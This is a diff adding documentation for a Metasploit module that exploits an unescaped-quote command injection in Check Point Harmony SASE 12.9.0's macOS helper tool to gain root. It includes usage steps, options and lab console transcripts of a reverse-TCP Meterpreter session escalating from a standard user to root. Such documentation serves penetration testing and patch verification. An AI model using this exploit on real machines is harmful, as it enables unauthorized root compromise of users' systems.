Check Point Harmony SASE P81 LPE

documentation/modules/exploit/osx/local/harmony_sase_helpertool_lpe.md

@@ -0,0 +1,124 @@
+## Vulnerable Application
+
+Check Point Harmony SASE (formerly Perimeter 81) for macOS installs a privileged SMJobBless
+HelperTool at `/Library/PrivilegedHelperTools/com.perimeter81.osx.HelperTool`. When installing its
+daemon, the helper builds a shell command and runs it as root through `/bin/bash -c`. The command
+includes the connecting client's application bundle path, taken from
+`NSBundle.mainBundle.bundlePath` and inserted inside single quotes with no escaping. A copy of the
+app made with `ditto` keeps a valid vendor signature, so it still satisfies the helper's
+`SMAuthorizedClients` requirement. Relocating that copy under a directory whose name contains a
+single quote injects an arbitrary command that runs as root.
+
+Confirmed on Harmony SASE 12.9.0 (build 11237), TeamID 924635PD62; fixed in 12.9.1 (build 12074).
+The HelperTool is a universal binary, so the same path affects Intel and Apple Silicon.
+
+The exploit drives the vendor app (`open`, `defaults`, launchd), so the meterpreter/shell session
+used with this module must be inside the target user's GUI login session. Triggering the install
+path force-quits the app and deletes/reinstalls the `com.perimeter81d` daemon, which drops any
+active VPN connection until the module relaunches the pristine app to repair it.
+
+## Verification Steps
+
+1. Install Harmony SASE 12.9.0 (build 11237) on a disposable lab machine.
+2. Obtain a Meterpreter (or shell) session as a normal, non-root user, inside that user's GUI login.
+3. `use exploit/osx/local/harmony_sase_helpertool_lpe`
+4. `set SESSION <id>`
+5. `set TARGET 0` for Apple Silicon, or `set TARGET 1` for Intel.
+6. `set LHOST <address>`
+7. `run`
+8. You should receive a root session (SESSION action), or the command output (EXEC action).
+
+## Options
+
+### TARGET_APP
+
+Path to the installed Harmony SASE app bundle. Default `/Applications/Harmony SASE.app`.
+
+### TRIGGER_MODE
+
+Which install path to drive: `relaunch_flag` (default, deterministic; sets the vendor's
+`shouldRelaunchDaemon` silent-update flag) or `race` (the launchd migration branch, one chance per
+launch, tuned with `MAX_ATTEMPTS`).
+
+### COMMAND
+
+Command to run as root, used by the EXEC action only. Default `whoami`. Keep it to a single line.
+
+### ForceExploit
+
+The module refuses to run against any build other than 12.9.0/11237 (`check` reports the mismatch).
+Set `ForceExploit true` to attempt it against another build anyway.
+
+## Actions
+
+### SESSION
+
+(Default) Upload a Meterpreter Mach-O matching the target arch and run it as root through the
+injection, returning a root session on your handler.
+
+### EXEC
+
+Run `COMMAND` as root and print its output. No session is opened.
+
+## Scenarios
+
+### Harmony SASE 12.9.0 (build 11237), Apple Silicon, root session
+
+Attacker: Kali (`10.211.55.6`). Victim: macOS on Apple Silicon, standard user `dexter`.
+
+```
+msf6 exploit(multi/handler) > run
+[*] Started reverse TCP handler on 10.211.55.6:4444
+[*] Meterpreter session 1 opened (10.211.55.6:4444 -> 10.211.55.2:63080) at 2026-08-18 12:10:34 +0400
+
+msf6 exploit(multi/handler) > sessions -i 1
+[*] Starting interaction with 1...
+meterpreter > getuid
+Server username: dexter
+meterpreter > background
+[*] Backgrounding session 1...
+
+msf6 exploit(multi/handler) > use exploit/osx/local/harmony_sase_helpertool_lpe
+[*] Using configured payload osx/aarch64/meterpreter_reverse_tcp
+[*] Using action SESSION - view all 2 actions with the show actions command
+msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set SESSION 1
+SESSION => 1
+msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set TARGET 0
+TARGET => 0
+msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set LHOST 10.211.55.6
+LHOST => 10.211.55.6
+msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > run
+
+[*] Started reverse TCP handler on 10.211.55.6:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Harmony SASE 12.9.0/11237 with vulnerable HelperTool
+[*] Generating Apple Silicon (ARM64) Mach-O payload (osx/aarch64/meterpreter_reverse_tcp)
+[*] Writing '/tmp/.hsp_L2dRiRWMn0' (813075 bytes) ...
+[*] SESSION action: the root payload will be launched via the injection
+[*] Driving HelperTool install path (TRIGGER_MODE=relaunch_flag), up to 300s
+[+] HelperTool executed the injected command as root; the root payload was launched (watch for a new session above).
+[*] Meterpreter session 2 opened (10.211.55.6:4444 -> 10.211.55.2:63092) at 2026-08-18 12:12:01 +0400
+
+msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > sessions -i 2
+[*] Starting interaction with 2...
+meterpreter > getuid
+Server username: root
+```
+
+### Run a single command as root (EXEC action)
+
+```
+msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set ACTION EXEC
+msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > set COMMAND id
+msf6 exploit(osx/local/harmony_sase_helpertool_lpe) > run
+
+[*] EXEC action: running as root -> id
+[*] Driving HelperTool install path (TRIGGER_MODE=relaunch_flag), up to 300s
+[+] Command executed as root. Output:
+uid=0(root) gid=0(wheel) groups=0(wheel),...
+```
+
+## References
+
+* Original research and PoC: Dhiraj Mishra (@RandomDhiraj) - <https://somelab.ai/harmony-sase-helpertool-lpe>
+* macOS agent release notes (version details): <https://support.perimeter81.com/docs/macos-agent-release-notes>